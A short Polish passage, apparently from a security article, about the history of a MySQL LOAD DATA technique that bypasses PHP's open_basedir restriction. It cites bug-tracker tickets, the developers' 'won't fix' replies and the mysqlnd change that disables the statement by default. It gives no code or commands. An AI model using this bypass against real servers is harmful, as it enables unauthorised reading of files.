Co ciekawe, opisywane możliwości operatora LOAD DATA są znane od co najmniej dziesięciu lat. Wzmiankę o tym można znaleźć na przykład w zgłoszeniu [#15408] (Tryb awaryjny / MySQL Vuln 2002-02-06), a następnie podobne pytania pojawiały się wielokrotnie na bugs.php.net [#21356] [#23779 ] [#28632 ] [#31261] [#31711]. Na co twórcy odpowiedzieli dosłownie:

[e-mail chroniony] To nie jest błąd, to jest funkcja:)

Lub przypisali bilet „Stan: nie zostanie naprawiony”. Lub ograniczały się do poprawek, które prawie nic nie rozwiązywały. Znów pojawiły się wpisy na ten temat. Dlatego określona metoda ominięcia open_basedir nadal działa na dość dużej liczbie serwerów. Jednakże wraz z pojawieniem się nowego sterownika mysqlnd wydaje się, że podjęto decyzję o wprowadzeniu znaczących zmian: przy instalacjach domyślnych ten operator nie będzie teraz w ogóle wykonywany [#54158] [#55737]. Miejmy nadzieję, że w niedalekiej przyszłości twórcy uporządkują sprawę w tej kwestii.